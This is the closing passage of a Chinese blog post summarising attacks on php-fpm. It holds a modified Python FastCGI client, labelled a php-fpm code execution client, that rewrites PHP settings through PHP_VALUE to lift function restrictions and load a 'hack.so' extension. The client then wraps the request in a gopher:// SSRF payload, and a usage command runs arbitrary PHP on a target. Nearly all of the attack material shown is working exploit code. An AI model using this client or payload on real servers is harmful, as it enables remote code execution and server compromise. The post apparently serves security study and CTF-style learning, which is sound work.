                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'unserialize_callback_func = system\nextension_dir = /tmp\nextension = hack.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    # 修改点 4
    # response = client.request(params, content)
    # print(force_text(response))
    request_ssrf = quote(client.request(params, content))
    print("gopher://127.0.0.1:" + str(args.port) + "/_" + request_ssrf)

用法和原来一样

python fpm.py 127.0.0.1 -p 9001 /var/www/html/add_api.php -c "<?php phpinfo(); ?>"

总结
#总结 #php-fpm #中间件
php-fpm攻击总结
https://www.dr0n.top/posts/21a69435/
作者
dr0n
发布于
2024年7月22日
更新于
2024年8月3日
许可协议